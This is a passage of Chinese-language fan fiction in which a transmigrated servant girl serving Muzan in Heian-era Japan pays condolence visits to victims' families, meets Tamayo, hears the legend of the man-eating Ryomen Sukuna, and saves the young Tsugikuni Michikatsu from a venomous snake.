或低或高的啜泣充满着这里,亡灵啊,她们是否能听到生者的恸哭呢?
我低头近乎机械地往嘴里送饭,好像这样能压制下什么即将喷涌而出的情绪那样。忽然心有所感,我猛然抬头,看见有下女向我走来。
“啊。李,产屋敷月彦大人说你一回来就记得去找他。”下女好似被我突然的动作吓了一跳,甚至后退了一步。
她缓过来后,拍了拍自己的胸膛,好意提醒,“最近咱们可得小心些,吃人的怪物实在是太可怕了。月彦少爷的脾气也因此更加......”她没将话说完,只是摇了摇头。
一切竟在不言中。
我点了点头,快速将面前的饭食吃完。犹豫了一会,我还是将椿饼重新掏回怀里,虽然我也不知道该怎么办。
出了门,我往产屋敷月彦所在的内室走去。在廊下行走,随意一瞥便能看见院落中的樱花树。已是夏末了,之前病恹恹的樱花树却仿佛吸食了谁的生气一般,又开始抽枝发芽。难道是秋天才是它生长开花的季节?
我不知道答案,在这怔了一瞬,又继续往内室赶去。
只是想着樱花树,我又不由得想起之前驻足观赏许久樱花树的医师。
医师和我还算熟络,虽然说不上十分亲近,但是对方本就心地善良,加上之前给我挖坑,对我和织子阿姨们都很照顾,我还想着下次帮着他去采些生长在深山老林的草药。
不过现在也没有下次了。
我叹了口气,在内室的门口前站定,汇报了一声便在门口等着吩咐。
没过多久,先前服侍的下女从内室探出头,叫我进去。
我走进,就看见产屋敷月彦斜倚在一片阴影之中,他没有束发,海藻般柔顺的黑发自然垂下,惨白的面容上是一双充满审视意味的眼睛。
织子阿姨将我带回去的衣料给我做了件衣服,用料充足,将我裹得严严实实的。我能感到产屋敷月彦的视线在裸露的肌肤上滑过。
嗯,还是那么恶心的打量。虽然早就习惯了产屋敷月彦这种滑腻的像蛇一样眼神,但我还是觉着不舒服。但是此时我并没有什么活力,便也垂下眼,假装温顺老实地任其打量。
话说回来,产屋敷月彦的脸色似乎比我出发前更差了。
虽然惨白一号色和惨白二号色看起来就跟口红色号一样有些鬼打墙,但是我以前干过护工,接触过那些垂死之人,因此对于人和死亡的距离十分敏锐。
现在的产屋敷月彦就给我一种站在死亡的悬崖边的感觉。
但是从我靠近内室到现在,他似乎也没有再猛地咳嗽和喘不过气,甚至可以说,他的气息变得非常地平稳凝实,简直就像是个非常健康的人。
这不对劲。
然而没等我深入想下去,产屋敷月彦便开口打断了我的思绪,“你的名字是什么?”
这种事情不应该在我已经工作好些个月再问吧。我不明白产屋敷月彦的想法,但是老实回答,“我的名字是李。”
这年头的平民大抵是没有姓氏的,那是属于贵族专属的。我便直接将自己的姓当做名字了。
“哦,李。听说你是医师介绍来的,你和医师很相熟吗?”产屋敷月彦将重音放在相熟上,很是玩味的样子。我抬头,看着产屋敷月彦。他还是斜倚着,眼睛直勾勾盯着我,看来这个问题是他叫我来的关键。
“还可以,但算不上相熟。医师是个好心人,他总是很照顾人。”我总觉得产屋敷月彦总没什么好
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事,下意识回答地含糊不清。毕竟医师早在我来到这个世界时就在负责照顾产屋敷月彦,在产屋敷宅邸内,医师与其他人更是熟稔。因此我这样回答也不算说谎。
产屋敷月彦不知信没信,只是点了一下头,黑色的长发垂落,一时间遮住了他的眼。
我感觉那片黑色发丝中好像有一缕极快的红光闪过,但我看不真切。眨眼后,便再也没看见。
应该是眼花了,我等着产屋敷月彦的下文,但是他许久没发声,自顾自地翻起了旁边的书。
我悄悄与旁边的下女对了一下眼神,对方看起来也不知道产屋敷月彦要做什么。
但是他做什么也不奇怪,我们都有这样的共识。因此我就放心地发起呆来。
城内吃人的妖物还不知道是怎么回事,但是我得回去提醒歌和织子阿姨他们。虽然缘一确实很强大,但是他毕竟是个孩子。我不知道这个妖物究竟是什么水平、什么形态,但是就这种吃人妖物的传闻能从几十年前就开始传来看,妖物应该不弱。
我并不是什么大英雄,作为普通人的我只能想着怎么去预防怪物的到来,或者说怎么逼退他来保护一些人。我脑中思绪万千,尝试制定许多个加强歌的家防御措施,但是对怪物的了解使我的方案完全不具备针对性。
还是得去城里打听一下或者是问问宅邸里的大家。一时间,我又想起下女们微红的眼眶和惶恐的神情,不由得有些迟疑。
“我要喝粟茶。”产屋敷月彦看了一直在一旁的下女一眼,后者得令立马出去,于是他又转头看向我。
“李。”产屋敷月彦突然叫了一声我的名字,我抬眼望去,看着他难得露出了一个平和的笑。
我莫名毛骨悚然,有种黄鼠狼给鸡拜年的荒谬感。
产屋敷月彦本就是一个喜怒无常的人,这样平静的面孔只会让我心惊肉跳。毕竟上一次我的老板这么叫我,我就光荣被开除了。
许是我的表情过于僵硬,没能做出让产屋敷月彦满意的反应,他迅速收起了笑,凉凉撇了我一眼,“既然你和医生还算熟悉,那么我有件事要你去做。”
【工作守则第三条:别接老板的私活】
我并没有要成为产屋敷月彦心腹的打算,自然对他这样的私人要求不感兴趣。我正打算如何婉拒使得产屋敷月彦砸的东西能少一些,他的下一句话就打消了我这个念头。
“去慰问医师的家人吧。”他笃定了我不会拒绝,顺便又将手上的两字给我看,“顺便将医师常用的药方或者笔记给我带回来。”
我看着书上的“処方”和“薬方”的字,再次看了一眼产屋敷月彦不耐烦的神色,确信他把我当成了文盲。
但也不要紧,对于产屋敷月彦而言,认字也不能给我加钱。
内室外传来下女的脚步声,产屋敷月彦叫我和管家商量后,早些出发。我点头,转身出门,里面昏暗无比,外头阳光正盛,让我不适地抬手挡了一下。
我没有看见身后产屋敷月彦微妙的表情。
9. 背锅侠出现
正如我先前所说,我对医师的了解其实不多。
虽然接下了所谓的要去慰问医师家人顺便拿些药方的活,但我连医师住在哪里也不知道,我只能径直去找了管家。
“所以,事情就是这样。”我对着管家,无奈地解释道。
管家的表情先是有些迷惑,而后又像是想到什么了一样,了然地点了点头,“原来月彦少爷是打算派你去。”只是话说完,他忍不住叹了口气,“但少爷只让你一个人去啊。”
现在城中本来就人人戒严,惶惶不安。尤其是发生祸事的产屋敷月彦的宅邸,下人们都是惊惧不已,害怕祸事会落在自己头上。若说派人慰问逝者,别的下女必然不敢前行,而管家作为主心骨现在离开也不是时候。
不过即使这样,让我一个人去帮忙慰问显然也不是很合理。但是产屋敷月彦命令如此,管家也只能满是怜悯地看着我,然后就告诉我了医师的住处,告诉我明天早上再来拿慰问的东西走。
“如果可以,麻烦你也去这两处看看吧。”在我准备告辞后,管家又向我报出了两处地址。“那两个可怜的孩子,也是很久没有回家看过了。”管家抿了下嘴,他的眼角眼纹加深,整个人充满掩饰不住的伤感。
他说的是樱和另一位下女。我马上明白了。
但我还是怔了一下,然后点了点头,不知道该说什么。
虽然产屋敷月彦不详名声在外,本人也暴虐无比,但管家的温和和包容还是使得下女们的日子好受了些。而管家之前总还是开玩笑的说,若是下女们出嫁,他可是也要作为半个家长去考验男方。其感情之深厚,不言而喻。
看着管家有些忧伤的神色,我虽不忍,但还是得打断他的思绪,“琴先生,我想问问关于那个妖物的传言。”
下女们现在对此还惶惶不已,我害怕再问她们会刺激她们,只得向医师发问。毕竟我临时受命,还得出城去慰问,若是对妖物一知半解,也是危险。
管家显然也是想到了这点,再加上医师给我在产屋敷月彦府邸里捏造的身份还是孤儿,管家显然也是能自动脑补我为什么不知道这些传言。
“这个故事要从很早说起了。”他倒了两杯水,自己喝了一口润润嗓子,顺便递给了我一杯水,“吃人妖物的传言最早是从什么时候开始的我也说不清。听说我母亲小时候就有这个传闻了。小时候,我的母亲也会用个警告不安分的孩子们,如果晚上到处乱跑可能就会遇见长着四只手的妖物,然后抓着不听话的孩子一口一个。”
我喝了一口水,点了点头。这和收虫笼的少年说的一样,不过从管家的说法来看,这个妖物的传说至少有六十年了。
“但是小时候的我一直不以为意,因为传说虽然骇人,但是妖物似乎很久都没出现过了,大一点的孩子都说是不是长辈们将野狼或者野猪吃人的事改来吓人。但是很快我们就知道不是了......”
管家又喝了一口水,像是要缓下心悸一般,才缓缓接着道,“大概就在我七岁左右吧,这个传言又引发了平安京内满城风雨。因为多家大族的贵女、幼子都被怪物给吃了。侍卫和下女们赶去时,只能看到残骸,而且这妖物还要烹饪......”
说到这,管家几欲作呕,但是又压了下去。我也有些骇然,只觉恶心。
管家有些难受地继续道,“这样的事情当然引起了贵族的惶恐和不安,他们请了最有名的阴阳师进行祓除,然而......”管家摇了摇头,答案不言而喻。
“这个妖物在席卷了几乎整个国家,使得人人慌乱不安之后,却诡异消失了许久。我还以为他被那个法力高强的大师制服又或者是自然生老病死了。可是直到前几日,他竟然又出现了!”管家揺了摇头,压不下眼里的惊恐。
确实,如此可怖的怪物,残害民众的手段又是如此残忍,加上即使是当时法力强大的阴阳师拿他无能为力,这如何使人不害怕呢?
不过有些奇怪,沉寂了这么多年又再次出现,总不能这里还有什么闭关升级的设定吧,那这样未免太过过分了。
我有些疑惑,但看起来管家对怪物突然的消失也没有头绪。
不过,“那这个怪物没有什么弱点吗?或者说他的行为是否受什么的限制?”万物相生相克,力量也是有平衡之道,如果这个怪物没有任何弱点或者天敌,怕是霓虹日后也不可能继续存在。虽然这个世界是不是我所知道的霓虹也不一定。
管家只是摇头,想要去祓除药物的阴阳师大多都铩羽而归,有些甚至也被怪物折磨至死,更是传不出什么消息。再加上他并未正面对上过妖物,那些与妖物斗争的传闻对他而言也距离过远。
我还是不太死心,“那名字呢,这个怪物没有名字吗?”知道名字了话说不定能从典籍中找到方法。
管家思索片刻,似乎是在记忆中翻找着那个尘封已久的名字。
良久,他说,“两面宿傩。那个妖物的名字是两面宿傩。”
“两面宿傩。”昏暗的内室响起了低沉的声音。
产屋敷月彦迅速翻找着典籍。他的身旁堆着厚厚的典籍堆,从其摊乱的样子可以看出翻阅者烦躁的心情。这些典籍大多记载着当时民间对于盛行一时的妖物的记载,但是大多是以普通文人的视野去看,并无多少专业的有用信息。
产屋敷月彦从中也没得到什么答案。他猛地将手头的典籍扔向书堆,眼里的红光难以抑制。
当他对人的血肉感到渴望的时候,他就下意识地想到了两面宿傩--这个不详的妖物。同样是有着强大力量,同样是有着对血肉的渴望,这不禁让他怀疑其他们是否同根同源。因此他这次的进食倒被平民理解为两面宿傩的复出。
但是民间的普通典籍明显无法找到他想要的信息,产屋敷月彦深吸一口气,看向了远方--平安京的方向。就之前两面宿傩闹出的动静而言,那里绝对会有对他的记载。他迫切地想知道两面宿傩是否还活着,更重要的是,他是否也无法抵御阳光。
然而,他对自己现在的实力并没有确切的估计,是否能应付平安京内的阴阳师?刚因为接触了阳光而实力大减的
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产屋敷月彦没有把握,他咬着自己的大拇指,目露凶光。
太慢了,还是太慢了。
他对自己的力量还很陌生,他还缺少能干的下属,他需要足够的信息,他要克服阳光。
不过现在唯一能指望的还是药方。如果按照那个医师事前说的那样,喝完所有的药能使得他变得健康。那说不定现在喝完药后能使得他变得更完美,可以无惧阳光。产屋敷月彦回想着那个名叫李的下女面对阳光泰然自若的姿态,更是火气直上心头。他咬着手指的牙更加用力,使得手指划伤出血却又极快恢复。
如果是喝了同样的东西,为什么她没有产生变化呢?
他感知不到她的实力,或许是获得力量的缘故,他看普通人都如同虫豸,没有任何区别。这个下女,顶多就是蹦跶地更灵活的螽斯罢了。
那或许是上天只眷顾自己,普通人无法得到像他这样的机遇?产屋敷月彦觉得这样更加有道理。只不过保险起见,这个叫李的下女还是得留着。
她还有很多用途。
产屋敷月彦略一思索,又笑了起来。
“阿嚏!”我有些纳闷--好久没打过喷嚏了,这是谁在背后说我。
揉了揉鼻子,我继续将草料和一些青草递给毛驴,“多吃点,之后还要和你赶路呢。”
毛驴不客气地嚼着草料,发黄的牙齿的草屑有被它灵活的舌头一舔,悉数吞下。我与它倒是有几乘之缘,它对我的投喂并不警惕,一副胃口极佳的姿态。
它显然不知道主人的逝去,只是感觉好久没有人给它喂食了。
医师和樱等人的尸首早已被送走,但是医师的驴车暂时没有人处理,因而我能暂时将其作为交通工具来去赶路。不过自从出了夜晚妖物伤人的事情后,夜晚出行显得尤其不安全,我也就打算稍作休整,明早再出行。
不知道在慰问完后,我能不能有机会回去提醒织子阿姨和歌还有缘一他们妖物再次出现的事情。我一面思索,一面继续漫不经心喂着草料。
一不小心,手指竟然被毛驴给狠狠咬了一口。
我小声痛呼了一声,猛地远离驴,看向自己的手指。
手指上赫然是个有些深的口子,还沾染着草料的汁水,正不断的冒着血。
这个会不会有狂犬病来着,要打破伤风吗?不对!就这个年代来说我是不是得敷些草药来着。我忍不住吐槽,看着自己的伤口,思考着是先用唾沫消毒还是用其他方法来着时,就发觉血开始不再渗出。
咦?
我看看罪魁祸首毛驴,毛驴不看我,扭过头继续咀嚼嘴里剩下的草料。
难道是这些草料或者我随手拔的草里还有止血的功效?我思索片刻,不再去看罪魁祸首毛驴,继续在地上拔些草,小蓟、铁苋菜都来一些。将野草放在掌心握紧碾压,我再将这些混合物放在伤口上,过一会,如愿看着血止住了,伤口也有种快要好的趋势。
古代的野草没受工业污染,药效就是好啊。无视毛驴对我手上的野草混合物虎视眈眈,我不由由衷感慨。
10. 慰问
第二天,天蒙蒙亮的时候我就带着管家给我准备的钱财和行囊就出发了。
我和门房打了个招呼,就牵着驴车出门了。
此时霓虹道路狭小,而且陡路频繁,马车并不适用,而毛驴在后面托着二轮车倒也还算适宜。
毛驴显然也习惯了一大早出门,它显然忘记了昨天对我的突袭,还热络地往我的手上看。我迅速地躲开,将一些重物往二轮车上放,而后自己也上去。
樱和另一位下女的家都在离城不远处,我于是打算先去那里。每到一个路口我便问路,循着路人指的方向前行。
城中不少家的门口挂上了白色的纸幡,有些人家里面还有诵经的声音,满城弥漫着哀乐与东西焚烧的味道。而随着我离城越来越远,那种哀伤仍像一双无形的手在牵扯着我。
我掏出了昨日的椿饼,一时间怔怔。
出了城,毛驴顺着路慢悠悠走,轮子硌着路上的石子,晃得我一机灵,还好椿饼还紧紧攥在手里。
“小心点走吧。”我拍了一下毛驴的头,它不满地揺了摇头,鼻子里喷出一口气。一抬眼,我就看见了不远处的村庄。那里应该就是樱和阿春父母在的地方。
靠近了村庄,我内心反而有些犹豫。然而毛驴和我心意并不相通,它依旧按着自己的步调向前走去。
在这里已经不需要再问路了。
村庄的房子普遍不大,若是房门大开,便是一览无遗。
路口的两家纸幡随着风轻飘,穿着白色粗麻丧服的人们低声交谈着,看着小小的灵位。有位老妇人更是止不住恸哭,有一个佝偻着背的老人轻拍她背安慰她,只是面上也是一片沉痛。
这应该是樱的家。
若是按往常的习俗,死者都会在家停灵几日。而是樱的尸首状态太过惨烈,是以家人只得匆匆下葬,以灵位代替。
眼下人这么多,我不好贸然进去,只得带着毛驴左右打转,在附近草地上吃些草。等到宾客差不多散尽,我才拴着驴,带着东西来到了门口。
“您好。”我看着望过来的老夫妇,微微躬身说,“我是与樱一起在产屋敷月彦宅邸工作的下女。”
一听到樱的名字,老妇人的眼泪又再次涌出,我有些无措,半晌只能憋出一句“请您节哀”。
老妇人好半天收住了泪,她的声音有些沙哑,“好孩子,感谢你来看樱。”
我不知道该怎么回答,只是摇了摇头,拿出了管家给的一部分钱财,“这是府里给樱的,她是个很好的孩子......还请您节哀顺变。”
老妇人没说话,一双含着千万悲恸的眼扫过我,又轻轻垂下。
她不接过,我就继续捧着钱财,眼睛越过了她们,看着樱的牌位,忍不住开口,“如果可以了话,能帮我把这个也给樱吗?”我拿出了怀中的两个椿饼,将其与钱财一起递给了老妇人。
旁边佝偻着背的老者苦笑一声,眼眶有些发红,拍了拍老妇人的背,将钱财和椿饼接过,“多谢你的好意。樱这孩子她一直很喜欢这些甜食。”
我不知是怎么走出这个小小的家的,我只记得离开后我听到老妇人又放声痛哭,“呜呜,樱。这孩子可是最怕疼的啊。”
我不敢回头看,我只是机械地又走入了阿春的家,送出了慰问的钱财。已和阿春订婚了未婚夫一直安慰着头发花白、哭得撕心裂肺的老者,我没有久留,好像这样就能驱散心中的郁结一般。
逃也似的回到了栓驴的地方,我催赶着还想要再吃一口的毛驴,匆匆赶向了下一处。
医师的家离这里还很远,大抵还要翻越两个山头。驴车颠簸,我盘腿坐在上面,拿着顺手扯过的野草,又开始编起了东西。
曾经鲜活的生命骤然逝去,让我实在难以释怀。虽然与樱和阿春还有医师相处不长,但是她们确实是普通的好人,实在不该,不该就这么被夺去生命!
我缓缓从口中吐出一口气,只觉得内心有火焰在燃烧。是的,比起沉痛,我更多的是一种愤怒。为什么这个怪物可以轻而易举地夺取普通人的性命,他不知道有多少个家庭因此破碎吗?
他制造的恐惧阴云盘踞在所有人的头上,以至于遭遇祸事时人们只能恐惧无助,再叹息自己实在太不幸了。
可是就应该如此吗?
我深吸一口气,再缓缓吐出,试图化解心中的怒火。然而,这种愤怒一旦被点燃,只会随风增长,成为燎原之火。我闭了闭眼,放空大脑,闻着山风的气息,再次做了几个深呼吸。
风声送来了什么动物的蹄声,我睁开眼睛,看到远处岔路口有一辆牛车驶来,旁边还有一些守卫。
是什么贵族出行吗?我看着他们前进的方向,眯眼望去,应该是山头的一座寺庙。
那么医师的家也快到了。据管家之前所说,医师家就在那座寺庙的不远处,是一座山间别野。
我没有理会牛车,回忆着问路时路人的叮嘱,往另一条岔路走去,没多久便到了一座山间别野前。
这座别野比起产屋敷月彦的宅邸,显得小巧可爱,颇具风雅。门前的有白色的野菊盛放,随风摇摆,珊珊可爱。
医师家的宾客十分之多,即使到了现在傍晚十分也还有人前来调研。观察他们的穿着,有些好像是周围的村民,他们穿着破旧的白麻衣,神色肃穆地来为医师哀悼。也有从牛车下来身着黑色麻衣的人,他们在护卫的簇拥下进去,又在侍卫的簇拥下离开。
我看了一会,牵着毛驴一起向宅邸走去。门房显然认出了这头毛驴,他是个年纪较大的老翁,迈着跛脚朝我问,“你怎么会有我家大人的驴车。”
毛驴亲昵地朝他的方向走去,我拿着手中的信物和钱财,向其解释前因后果。
“竟然是产屋敷家......大人本就不该与他们再有什么牵扯的。”他嘟囔了几下,让我与他将驴车放入后院后,又请我去了前院。
医师的尸体应是较为完整的,因而还未下葬,而是停灵在一个内室。我将慰问的东西交给了管家,也打算去上前哀悼。
医师身着一身黑袍,静静躺着。他的脸上覆上了一曾白纱,或许是死前面色狰狞,因而亲人们选择为其遮掩,让其体面走去。这里的人们大多面上带着哀痛,低声交谈着医师生前的善举,哀痛这样一位善人居然遭遇如此不幸。
我安静地凑在众人中间,一面盯着医师的尸首。如果我没看错,他的后脑上有一条极深的伤口,倒想是什么刀刃造成的。
怪物也要使用刀刃吗?
我不解,抬头发现有人向我走来。
那是一位秀美娴静的女士,美丽柔顺的黑发由花样式的抓夹盘成了低低的发髻。她的身后还站在一个小男孩和一位俊美男子,看起来是她的家人。
“你好,我是珠世。”她温柔的紫眸释放着友好的信号。
我也立马回到,“我是李。”
这位珠世小姐我曾听医
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师说过,是他一位在药理上颇具天赋的远亲。虽是远亲,不过两人关系还是较好,经常交流一些药理上的问题。
那看来找这位女士来拿取药方或许比较合适。我与这位珠世小姐说了产屋敷月彦的需求,珠世小姐沉吟片刻,点了点头,带着我走向了一个房间。
一打开房门,映入眼帘的便是几排书架,上面摆放着诸多典籍。珠世小姐贴心地替我取了几种,放在我的手上。忙完了这些,她看着我,似乎有什么话说。
“您找我是有什么事吗?”我十分感激她的帮助,立马打破了沉默率先发问。
珠世小姐温柔地一颔首,微笑道,“产屋敷月彦大人的身体如何?”
嗯?产屋敷月彦那种人渣还有人慰问?我微微瞪大双眼,还是老实回答,“比从前好了许多。”虽然脸色还是差的离谱,在我看来是一种活人微死的状态,不过出门在外我对于老板还是勉强留几分口德的。
许是看出我的震惊,珠世小姐接着说道,声音带上了些苦涩,“是嘛。其实是这样的,我的儿子身子也不太好,我尝试了许多种办法给他医治,但效果都不太好。医师一直给产屋敷月彦大人医治,我想着若是有效果了话我也想要参考一下药方。”
顿时,我觉着手上的药方烫手了些。
珠世小姐抚慰道,“如果方便的话,能否再停留几日,等我将你要拿去的药方和典籍重抄一遍后再请您拿走。”
我当然没有不答应的道理,珠世小姐的态度十分好,要求也很正当,我无法拒绝。
“不过还是烦请您帮我叫人回产屋敷月彦的宅邸内通知一声要晚几日。”考虑到产屋敷月彦的暴脾气,这个毕竟还算他的私活,如果没有通知,可能又要莫名暴怒殃及下女们了。
珠世立马点头答应。
“如果还方便的话,能帮我去xx村告知一位叫织子的女士最近妖物再出现的事吗?”我忍不住出口求助,有些担心织子阿姨他们。
珠世小姐并未犹豫,她立马答应,甚至还连声感谢我,使得我都不好意思起来。
由于天色已晚,珠世小姐便把我安顿到别野内的小房间休息一晚。我这才知道医师也就珠世小姐这一远亲,并无其他兄弟姐妹或者其他子嗣,因此他的医书甚至这座别野,可能都要归属于珠世小姐了。
这使得珠世小姐富上加富,然而她为人谦和,与医师本就亲近,因此并没有什么人跳出来反对。
反而是下女和侍从们知道我是从产屋敷月彦宅邸来的,对我倒是颇为冷淡。我虽然不甚在意,但是也不打算触着他人的霉头,在房间里百无聊赖地翻着医师的典籍和药方就当翻字典。
青い彼岸花(あおいひがんばな)?看到这一味药材,我脑中有些疑惑,青色彼岸花或者蓝色彼岸花?话说回来,彼岸花就是石蒜花吧?原来还有蓝色的吗?
我在脑中想象它的样子,却觉得就像喷染的蓝色妖姬一样有些猎奇。
在这座别野的第二天早上,我不想触了大家的霉头,便向门房打招呼一声,便打算去外面散散步。
可恶的人渣产屋敷月彦。我一边暗骂一个人渣老板的名声能对打工人造成多大的影响,一面漫无目的地走着。走着走着,我便看见了昨天见过的寺庙在山林间露出庙顶。
都走到这了,那就去瞧瞧吧。我顺着山道蜿蜒而上,突然看见一个熟悉的身影--深红色高马尾的小萝卜头。
是缘一?
11. 救人
然而我很快就意识到这个小萝卜头并不是缘一。
他转过了头,像是在寻找着什么一样。这使得我看清了他的脸,嗯,和缘一长得一样,只是额角没有奇怪的斑纹。
那么这应该就是缘一的兄长继国严胜了吧。
从缘一的叙述中,兄长一直十分温柔,会送给他笛子,说只要他吹响就会帮助他,也会在他被关时偷偷找他玩。
“缘一!缘一!”继国严胜一面大喊,一面拨开肆意生长的藤蔓,不时弯下身子去一些低矮处探查,好似担心缘一被什么捕兽夹夹到。
有两位侍从跟在他后面寻找,但是他们显然并不卖力,只是随意地跟着继国严胜,时而高喊一声“缘一少爷”。比起寻找继国缘一,他们更主要的任务好像是保护继国严胜。
许是一大早就找寻了许久,继国严胜斜倚着一棵树稍作歇息。
那这么说,缘一本来要被驱赶到的是这间寺庙啊。
我顿时明白了过来,但是现在这个场景我是不是不太合适出现。我本想到处转转就当郊游,没想着不得不隐匿在草丛里,要不等他们过去了再说呢?
我有些游移不定,正纠结时,却看见继国严胜倚靠的那棵树上有条花蛇盘绕,头呈三角状,背上有v型褐斑,似乎刚被寻人声吵醒,此时正摇晃着身子,往继国严胜的方向蜿蜒游走。
而继国严胜仍旧斜倚在树下,脖颈暴露在空气中,并不知道危险的降临。旁边的两个侍从也对近在咫尺的危险无所察觉,将目光投向远方。
不是吧?
这个花色,这个距离,若是被这毒蛇咬到,这小萝卜头可能就凶多吉少了。而且不知道这个附近的珠世小姐会不会解蛇毒。
我略微咂舌,看着那蛇明显准备攻击的姿态,只得随手捡起地上的石块,心中默念“产屋敷月彦这个垃圾”,然后径直像那蛇头砸过去。
方向精准,力量适中,怨念十足,直中蛇头。
蛇不受控制地抽搐了一下,而后缓缓倒下,耷拉在树上。
不愧是我之前在山中尝试打鸟驱蛇苦练的技能。我略微有些骄傲。
而继国严胜和随行的两个侍卫被这天外来石惊得顿时戒备了起来,他们看向被砸晕的蛇,又是一惊。继国严胜和两个侍卫甚至抽出了随身的佩刀。
这时候不出场就尴尬了。
我摸着鼻子,在他们大呼“什么人”的背景音中缓缓从灌木丛中走出。
天地良心,看我是个弱女子的份上你们就把刀先收了吧。
然而天不遂人愿,“你是人还是妖物?”其中一个侍卫显然没有放松警惕,还是凶狠地逼问道。
我有些无语,真是太不礼貌了,怎么能指着人骂妖怪呢,“如果我是妖物了话,我何必要打掉那条蛇去救这位小公子呢?”
倒不如说如果守卫比较有用了话我根本懒得出现。
我看向继国严胜,他与缘一相似的脸上露出深思的表情,然而率先放下刀剑向我道谢,“谢谢您,阿良阿木,不得对恩人无理。”
他叫侍卫们放下刀剑,又对我恭敬地一躬身,小脸正经地发问,“恩人需要什么报酬吗?”
我摆了摆手,只是指了指他后面的蛇,“这条蛇让我带走就行。”如果是毒蛇了话应该能入药,处理一下带回去也算勉强能报答一下珠世小姐了。
我向前走去,抓着晕过去的蛇的七寸,简单地处理了一下蛇,就打算离开。
但是还没等我离开,就感觉有人扯住了我的衣角,我一回头,继国严胜又很快地放开。
“您在附近有看到和我长得相似的男孩吗?”继国严胜小脸紧绷,表情严肃中又带着丝焦急。
“没有,这附近我都逛过了,没有什么小男孩在。”为了避免他无谓的寻找,省的缘一的兄长还要遇到危险,我只得胡诌自己早已逛过这些山。
继国严胜脸上登时露出失望的神色,他老老实实道了谢,只是不知为何还跟在我身后,叫着随从远远跟着。
我转过身,有些头疼。
该说不说,他和缘一不愧是双胞胎,都是不太爱主动表达自己。但是缘一那里有歌会引导他说话,至于这边,我只得自己尝试打开话匣子。
“你是在找你的弟弟吗?”我打算从继国严胜这里再了解一下缘一出走的始末。
他愣了一下,点了点头。“舍弟本来说要来到寺庙的,但是问过这边的主持,他好像从来没到这里。不知是路上迷路了还是去到了其他的地方。”
我想着一路狂奔到村子里的缘一,想着他和歌玩的时候开心的样子,有些犹豫。我并不能确定缘一的态度,他的叙述中,暴躁的爹、病中的妈、被压迫的哥,他的最优解似乎就是逃离这个家庭。
如果他知道他的兄长来找他,他会选择回去吗?我不知道,这个选择,只能交给缘一自己来决定。
我有些烦躁,下意识就揉了揉旁边小萝卜头的头发。
嗯?看着继国严胜骤然瞪大的双眼,我才意识到自己下意识做了什么。
“抱歉。”我总是揉歌和缘一的脑袋,以至于身边还有差不多这么高的萝卜头时手就下意识.....习惯还真是可怕啊。
发觉继国严胜低下了头,我看不见他脸上的表情。更是手足无措,一面偷瞄后面的侍卫,发现他们并没有注意到我失利的举动,一面又咳咳两声开口,试图重新挑起一个话题,“咳咳,你的弟弟是怎样的人呢?”
继国严胜没有抬头,他的声音闷闷的,“缘一和我不一样,他是个真正的天才。无论是什么招数,他一学就会,第一次拿剑就能击倒父亲的部下,他是真正的天才。”
嘶--,这是缘一没有细致提到的,缘一真的不是什么超级智能型机器人吗?我又忍不住陷入怀疑。
不过目前这位心情看起来十分低落的少年才是要先关注,否则我怕他的部下直接过来打我。
反复强调弟弟是天才了话,这明显是对缘一的天赋有心结啊。
“是嘛,按你这么说了话,你的弟弟确实挺厉害的。但是我感觉你也不差,就你刚刚拔剑的速度可比你两个侍从快多了。”
然而这句话显然没安慰成功,他摇了摇头,“如果是缘一了话,那条蛇在接近他的时候他就能察觉,而不会向我一样还要靠您搭救。”
嘶--,这个心结看起来好深啊。
“而且缘一的天赋是常人无法匹及的,他甚至能看到所谓的透明的世界。”继国严胜不知为何此时抬起了头,直直看向我,“您听说过这种事吗?”
斯哈,不会吧,是什么双生子的心灵感应吗?他还能猜到缘一在我家?
双生子恐怖如斯。“我确实听说过这件事。这也只是一种天赋罢了,天下本就无奇不有。”虽然现在只有缘一这一例,但是这个世界还能有吃人妖物,是不是还有这种能看到通透世界的我也不好说。
继国严胜的眼睛亮了一瞬,“那您觉得我也可以做到吗?”
这我也不知道啊,不过是双生子了话也
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有可能吧。“我不能确定,不过借助外力了话也能达到同样的境地吧。不过我有个问题,为什么一定要和缘一比较呢?”
“因为我要成为这个国家第一的武士,而且兄长比弟弟强应该是天经地义的吧!”继国严胜没有任何犹豫。
我并不理解这种思路,却有些意外他对我的坦率。“世界上没有一定要谁比谁强的规定。而且,武士比起自身的强大,可能最重要的是守护他人的心吧。在我看来,武力并不是唯一的评价标准。”而且老实说,就缘一的天赋而言,如果有人一心追随他,那么他会是很好的标杆;如果有人一心只想超越他,那么只会陷入无尽的痛苦。
“守护......”继国严胜又不再看我,继续低下了头。这个答案并不能让他满意。
“我并不是你,所以并不能对你感同生受。不过,尺有所短寸有所长,我会考虑发挥自己的优势。你比起缘一,一定也有着自己独特的优势。”这孩子看起来都被打击坏了,仔细想想都是他们那个暴怒对待孩子不公的父亲的缘故吧。
想了想,我有多说了一句,“而且如果你问缘一他最崇拜的人是谁,那一定就是他的兄长了。一个被天才崇拜的人,难道不是更为可敬吗?”天赋逆转后遭到的对待,以往轻视的人突然超越自己的痛苦、嫉妒,这些都是非常正常的感情,但是如果不能及时化解,一直郁结于心了话,一定会变态的。
“而且我知道的,你也是个温柔的孩子。”我揉了揉这孩子的头,打算转身开溜,那两个侍从看我的眼神简直要冒火了。
但是衣角依旧被拽住了,没再动,只听着后面的声音带着抽噎,“您愿意教我剑术吗,或者是您的身法?”
不是啊,这都什么跟什么啊。
我无奈转身,蹲下来,认真和眼前这孩子对视。果不其然,这孩子眼眶红了。“我并不会剑术,也不会什么身法。”
这一回答明明白白引起了他的控诉,他又要皱眉黯然神伤了。
我立马补充了一句,“但是我有一个秘诀”,我停顿道,“均衡的饮食、规律的作息、适当的锻炼,就能拥有健硕的体格。”而且对于很容易多想的人来说,能保持这三点,大抵也不会想这么多,心思没那么重,身体也会好,从而心情好,达成一个好的正循环。
“那缘一呢?我还能见到他吗?我还能见到你吗?”
发觉了我惹哭了自家少爷,那些侍卫就冲了过来,我怕被讹,扔下话带着蛇,自然拔腿就跑。
“你和缘一有缘就会再见(如果缘一愿意和家人再见了话),只要你想,我们日后也会再见的(继国家看起来也很有钱,等产屋敷月彦没了我也可以找个稳固的下家打工)。”
继国严胜看着仙人迅速消失的身影,喝退了两个不敬的侍卫。
鬼魅的声音,悄无声息的行动,高超的武艺,不求回报的善举,而且靠近寺庙,这肯定不是山间的精怪,一定是得道的仙人。而且缘一一定是被仙人看重能进入通透世界的天赋,收为弟子了,所以仙人才会对缘一这么了解。
继国严胜擦去眼角的泪水,思考着仙人的话语,看来缘一学成之后就会归来,而仙人可能时机成熟也会收自己为徒。
